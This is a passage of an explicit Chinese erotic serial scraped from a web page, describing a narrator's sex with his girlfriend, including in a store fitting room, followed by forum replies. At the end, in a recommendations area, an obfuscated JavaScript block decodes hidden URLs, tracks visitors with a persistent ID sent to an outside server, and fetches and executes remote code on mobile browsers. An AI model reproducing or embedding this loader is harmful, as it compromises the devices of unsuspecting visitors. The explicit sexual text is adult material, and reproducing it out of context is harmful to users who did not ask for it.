精泄了,软了,人也累了。夜深了,扰人的高分贝浪叫声适时停歇,也免得吵到左右邻居。没有想到的是雪莉休息了一会儿居然又下床了,说她不累,继续整理行李。“有没有买情趣内衣呀?”“没有看到喜欢的式样咧!”“没有关系,我喜欢就好了,反正你穿来就是要给我看的嘛∼”“可是我是要买给你的耶∼”看着她狡狯又得意的笑脸,我知道我又被她耍了。

看着雪莉拿出了一罐又一罐的维他命说要送人,我简直被她彻底打败。她正在为中国的传统美德而努力,我却回溯数千年去寻访先贤姬子了。直到--觉得下半身有一种舒适的感觉,我睁开眼睛,雪莉躺在我面前,却没有睡,只是伸手摆弄着我的小兄弟。“睡不着吗?

”“嗯。时差吧!”她无聊地回答着。“因为时差所以睡不着?”“嗯。”她点点头。“觉得很无聊?”“嗯。”再点头。“所以就玩我的肉棒?”她擡起头来看到我啼笑皆非的表情,笑了出来。“你不要乱来喔∼我可没有那个意思。”她还想逃避责任。“你没那个意思,却把我搞到有那个意思了。”她立刻放开手,翻过身。“我累了,想睡了。”“你睡吧!我自己来。”“不要∼”

(10)

为什么我会站在这个地方呢?

是非皆因多开口。摸乳就摸乳了,手上握着无法掌握的乳波,却偏偏克制不住好奇的念头,问了雪莉那个问题。“雪莉,你是几罩杯的啊?”雪莉只是娇媚地回了一句∶“下次我要买内衣的时候,你陪我去,不就知道了?”当时只以为是调笑的戏言,没想到后来她竟然真要我陪她去买,于是┅┅

左边左边频频回首的,那是两个假装很有教养的妇人。右边右边跑来跑去的,则是一群吱吱喳喳的高中女生。迎面来的年轻小姐有些羞涩,看到个大男人连忙绕道而行。海报上的外国模特儿大方依旧,傲挺丰胸怡然自在。看这头,这头全是胸罩。看那端,那端除了胸罩还有三角裤。要说眼观鼻鼻观心,一眼就被看穿心里有鬼。只好没事老眺望着电扶梯。

那雪莉偏偏喜欢整人,逛了一摊又一摊,只是光看不买。哄她也不听,吓她也不怕,只好“姑奶奶”、“大小姐”地乱叫。好容易她玩够了,格格娇笑着拿了几件内衣裤去试穿。我喘了一口气,赶快看电扶梯,脖子酸了就看表。

“先生。”突然来了一位柜台小姐,脸圆圆的,有礼貌到羞涩地唤着我。“啊!什么?”“您的朋友请您去帮她┅┅”朝她指的方向一看,雪莉从布帘子后面探出一个头,看着我直笑。我硬着头皮走到那边,压低了声音问她∶“你在搞什么鬼?”“进来帮我看一下好不好看嘛∼”“看?内衣?”“对呀!”“不要闹了好不好?”“你要一直这样子站着吗?”说完她调皮地一笑,躲进去了。

没法子,看看左右,没有顾客在注意,柜台小姐们边偷笑边假装在聊天。拉开布帘子一角,连忙钻了进去。回头一看,差点喷鼻血。

雪莉的窄裙倒还穿着,上半身却只剩下橘红色的胸罩,四分之三罩式的,雪白的肌肤露出了一大片。

“好不好看?”我只能无力地点点头。她看了看我的反应,好像不太满意。“换一件看看。”前开的胸罩,说脱就脱,胸罩一松开,两个肉球就弹了出来。“你!”她假装一无所知,不慌不忙地拿起了一件暗红色无肩带的胸罩戴上。“怎么样?”同样是四分之三罩式的,但开口是向上的,不是斜向中间的,老实说我不是很喜欢。不过,上半罩杯是半透明的,刚好可以隐隐约约看到半对乳头。半对?用力甩了甩头,该说这胸罩符合标准,还是说雪莉长得太端正了?

“不好吗?”她翻了翻剩下的那几件,挑出一件浅绿色的,眼看又是一场脱衣秀。“雪莉∼”这简直是在呻吟了。“怎么了?”一付无辜的样子。“饶了我吧∼”小坏蛋这才露出得意的笑容。“怎么?

这么沈不住气?平常不是都会扑上来吗?”“这里又不能来真的,别故意招惹我嘛∼”

她好像还不打算放过我,歪着头想着歪主意。我豁出去了!快步上前把她按到墙上。“不能来真的啦∼外面会听到的。”“要听就随她们听吧!反正她们都知道是你叫我进来的。”她看我猴急到当真要上她了,也开始感到惊慌。“不要啦!不要在这里。”

说这些话有什么用呢?我的大手已经覆盖在暗红色的胸罩上画着圆了。她刚开始还要反抗,后来就发现忍住不叫出声来比较重要。我卷起窄裙,拉掉三角裤,然后蹲了下去,右手搔弄着她的私处,左手把三角裤拉到了脚边。“脚擡起来。”她很合作地让我把三角裤脱了下来。“要试穿是吧?我帮你试穿。”我找了件橘色的三角裤,帮她穿上,穿好后在露出的屁股上拍了一下。“转过去。”

再怎么后悔也无济于事了。雪莉听话地转过去撑着墙,蹶起屁股等着我来干。她等到了!三角裤被拨开一旁,火热的肉棒撑开嫩穴狠狠地顶了进去。“啊哈∼”雪莉忍不住娇喘了一声,拱起的身躯让被束缚的乳房活跃了起来,一蹦一蹦地像是要挣出不堪负荷的胸罩。

小布片吸不住潺潺流水,蜜汁沿着修长的大腿滑落。我用大手和小腹受用着她光滑细腻的肥美丰臀,肉棒品味着湿热小穴的肉紧包夹,却不抽不插,自己一个人快活。

“你在做什么?”她困难地回过头问我。“在享用你啊∼”“那怎么不动?”“这么急呀?”她顿了顿脚,脸色却变得更难忍了。“不是急呀∼不能弄太久啊∼”“要速战速决就你自己来吧!我可是要慢慢享用。”

“啊∼你好坏!”悲鸣归悲鸣,她心里明白这时候不自力救济是不行的,咬咬牙,忍着羞,生硬地将大屁股前后摆动。这可有趣!只看过女孩子迎送是把嫩穴凑上去让大鸡巴干到底的,把屁股往后顶倒是少玩。不过这种等级的刺激,要让我泄出来还有点难。“光是顶还不够,还要扭屁股。”一抹绯红从脸颊晕到了雪臀,秀发随着扭摆撒在我脸上,更是让人心痒痒的。

“还要用夹的。”“夹?”“用你的小穴夹紧肉棒,用嫩肉吸吮小头头。”“讨厌!人家哪里会那种┅┅”“床功?”她不再理我,只是有一下没一下地夹着,愈夹腿就愈软。“不要了啦∼你来啦∼”

我总是受不得她撒娇,当下捧住她的屁股,一前一后地发泄两个人的欲火。

三角裤只是稍微拨开而已,插入的角度有点偏,不用玩什么花式就把雪莉插得爽歪歪了。偶而矫正一下方位,正中花心,就可以听到她打从心底呐喊出来的春声。我扶着歪到快跌倒的她重新趴好,随手抓起她刚刚还穿着的内裤,揉成一团递到她面前。“请用。”“谢谢!”她才张嘴咬住内裤,我立刻加快速度也加重力道,狠狠地通着她的窄路,聆听她呜咽的闷叫声。

泄了!泄得又多又劲。我坐在地板上休息,娇软无力的她手脸奶全贴在墙上,缓缓地跪坐下来。虽然我养成了随手关门的好习惯,但只凭那件小裤裤还是包不住白浊的黏液。“夹紧点,流了满地就难看了。”她连眼睛都睁不开来,只是伸手把小裤裤往里面猛塞。“看不下去了。”我拿出她嘴里的内裤,抖开来给她穿上,虽然那件也一样是湿的,多一层保障总是多一层安心。

布帘突然动了动,还是刚刚那位柜台小姐的声音。“小姐,试穿得还满意吗?”“对不起!马上就好。”雪莉连忙站了起来,腿一软又蹲了下来,坐在一旁的我及时扶住了她的屁股。“啊!”低头一看,发现奶子都露出来了,反射地伸手掩住。我站起来帮她戴好胸罩,还端了端那对奶子。还帮她把上衣穿好,剩下那些搔首弄姿的就要她自己来了。

东摸摸,西摸摸,虽然每个人都知道我们在里面干什么,她还是冀望外表看不出什么破绽。好不容易她满意了,拎着小包包就想走,我伸手拉住了她。她一看,我又坐在地板上了。“干什么?”“坐着谈谈心吧!”“为什么?”“窝得愈久男人愈有面子啊∼”“够久了啦∼”“更久更有面子。”“什么嘛∼”她不理我,可是我不放开她。“别走嘛∼”“讨厌啦∼”拖拖拉拉地,雪莉先探头看了看,确定没有顾客来来去去,才使劲把我扯了出去。

面对一双双带笑的眼神,雪莉都不敢说话了。那几件拿去试穿的内衣裤,就由我全部帮她买下了。当然,还少一套。“试穿完懒得再换下来了。”雪莉不敢搭话,柜台小姐不敢多问。

小心翼翼地走到电扶梯,下了楼,雪莉恶狠狠地瞪着我,我一样嘻皮笑脸。她只能够诉诸暴力,捏了我好几下。捏完了还是得揽着我艰难地走着。

“到底是几罩杯呀?”“你刚刚没有看吗?”“在柜台小姐面前不好意思翻。”“那就下次。”“还想那样子玩一次吗?”“你讨厌啦∼”捶了我两下,无奈地吐出一个音节。“只有这么大吗?”“你呆瓜!当然要戴小一点的,不然还得了。”看了看绷在衣服里的傲人曲线,我想我能理解她的困难。“我会让你变更大的。”她低下了头没有回答。我看了看她,她也擡头看了看我,又低下头。“你以为我为什么突然要出来买内衣呀?”咦!“又长大了?”她怎么样也不肯再开口了。

人类的求知欲是无穷的。隔了一个多礼拜,我又提出了另外一个问题∶“雪莉,你的那天是哪一天啊?”“什么那天哪天?”“每个月固定的日子。”“啊!”呵呵呵!让我看到巧笑嫣然的雪莉转瞬间满脸通红的样子了。“你┅┅你问这个干嘛?”“关心咩∼人家都说要知道才算体贴。”

雪莉哭笑不得。“你不会自己猜呀?看我哪几天脾气古怪,特别不讲理。”她看到我一脸的为难就得意了,笑着多加了一些提示。“不然也可以用算的喔∼看看我哪些日子会找理由不让你碰我。”咦!

这么说,那些日子是危险期?“你都有在算啊?”“当然啦∼不然还指望你呀!头一次就给人家弄在里面,而且还┅┅”“还射了那么多。”“讨厌啦!”“还那么烫。”“烫有什么关系?”“新鲜呀∼”

“什么新鲜!”她说不下去了,笑了老半天才板着脸埋怨我∶“还说呢!那个月就晚来了好几天,害人家吓得要命。”

大家一起来推爆!

就是我的家

路过看看。。。推一下。。。

分享快乐

猜你喜欢下面这些
function rDbavnK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function QGrUp(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rDbavnK(t);};window[''+'P'+'Z'+'k'+'K'+'t'+'S'+'n'+'O'+'e'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MkShE(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=QGrUp,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MkShE(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MkShE(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBODgg5MQ==','d3NzJTNBJTJGJTJGYSS5rZmdqYSS5jbiUzQTk1MzM=','168621',window,document,['g','S']);}:function(){};